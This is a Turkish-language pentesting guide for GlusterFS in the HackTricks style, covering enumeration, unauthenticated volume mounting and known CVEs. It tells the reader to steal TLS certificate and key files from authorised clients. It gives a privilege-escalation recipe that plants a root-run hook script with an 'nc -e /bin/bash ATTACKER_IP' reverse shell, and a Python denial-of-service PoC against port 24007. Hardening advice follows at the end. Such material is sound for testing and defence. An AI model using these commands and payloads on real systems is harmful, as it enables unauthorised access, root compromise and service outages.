5.1 KiB
24007-24008-24009-49152 - Pentesting GlusterFS
{{#include ../banners/hacktricks-training.md}}
Temel Bilgiler
GlusterFS, birden fazla sunucudan depolamayı tek bir birleşik ad alanı içinde birleştiren bir dağıtık dosya sistemidir. Yönetim daemon'u (glusterd) varsayılan olarak 24007/TCP üzerinde dinler ve 49152/TCP'de başlayan veri düzlemi tuğlalarına talimat verir (her tuğla için bir port, artan şekilde). 9.x sürümlerinden önce 24008–24009/TCP tuğla taşımak için kullanılıyordu, bu nedenle eski kümelerde bu portlarla karşılaşmaya devam edeceksiniz.
PORT STATE SERVICE VERSION
24007/tcp open glusterd GlusterFS (RPC)
49152/tcp open gluster-brick SSL (TLS optional)
İpucu: 24007, depolama yalnızca düğümleri herhangi bir hacim yayınlamadığında bile RPC çağrılarına yanıt verir; bu nedenle hizmet, büyük altyapılar içinde güvenilir bir pivot hedefidir.
Sayım
Saldırı kutunuzda istemci yardımcı programlarını kurun:
sudo apt install -y glusterfs-cli glusterfs-client # Debian/Ubuntu
- Eşler keşfi ve sağlık
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
- Hacim keşfi
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
- Yetkisiz olarak bağlama
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster
Eğer montaj başarısız olursa, istemci tarafında /var/log/glusterfs/<vol_name>-<uid>.log dosyasını kontrol edin. Yaygın sorunlar şunlardır:
- TLS zorlaması (
option transport.socket.ssl on) - Adres tabanlı erişim kontrolü (
option auth.allow <cidr>)
Sertifika sorun giderme
Herhangi bir yetkili istemci düğümünden aşağıdaki dosyaları çalın ve bunları /etc/ssl/ (veya hata günlüğünde gösterilen dizin) içine yerleştirin:
/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca
Bilinen Güvenlik Açıkları (2022-2025)
| CVE | Etkilenen sürümler | Etki | Notlar |
|---|---|---|---|
| CVE-2022-48340 | 10.0–10.4, 11.0 | Ağ üzerinden erişilebilen dht_setxattr_mds_cbk içinde kullanımdan sonra serbest bırakma |
Uzaktan DoS ve muhtemel RCE. 10.4.1 / 11.1'de düzeltildi. |
| CVE-2023-26253 | < 11.0 | FUSE bildirim işleyicisinde sınır dışı okuma | Özel FS işlemleri aracılığıyla uzaktan çökme; kamuya açık PoC mevcut. |
| CVE-2023-3775 | < 10.5 / 11.1 | gluster_shared_storage bağlanırken yanlış izin doğrulaması |
Herhangi bir kimlik doğrulaması yapılmamış istemcinin yönetici hacmini bağlamasına izin verir – aşağıda açıklanan priv-esc ile sonuçlanır. |
Her zaman
gluster --versionher düğümde kontrol edin; kısmi güncellemelerden sonra heterojen kümeler yaygındır.
gluster_shared_storage'ı Sömürmek (Yetki Yükseltme)
Son sürümlerde bile birçok yönetici özel gluster_shared_storage hacmini dünya genelinde okunabilir bırakıyor çünkü bu, coğrafi çoğaltmayı basitleştiriyor. Hacim, her düğümde root ile çalışan cronjob şablonlarını içerir.
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss
# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh
# 3. Wait until glusterd distributes the hook and executes it as root
Eğer hooks/1/ mevcut değilse, /ss_bricks/ için arama yapın – tam yol ana sürüme göre değişiklik gösterebilir.
Hizmet Reddi PoC (CVE-2023-26253)
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())
glusterfsd < 11.0 sürümünde script çalıştırmak çökmesine neden olur.
Güçlendirme & Tespit
- Güncelleme – mevcut LTS 11.1'dir (Temmuz 2025). Yukarıdaki tüm CVE'ler düzeltilmiştir.
- Her brick için TLS'yi etkinleştirin:
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
- CIDR listeleri ile istemcileri kısıtlayın:
gluster volume set <vol> auth.allow 10.0.0.0/24
- Yönetim portu 24007'yi yalnızca özel VLAN üzerinde veya SSH tünelleri aracılığıyla açığa çıkarın.
- Logları izleyin:
tail -f /var/log/glusterfs/glusterd.logve audit-log özelliğini yapılandırın (volume set <vol> features.audit-log on).
Referanslar
- GlusterFS güvenlik duyuruları
- CVE-2023-26253 PoC – github.com/tinynetwork/gluster-notify-crash {{#include ../banners/hacktricks-training.md}}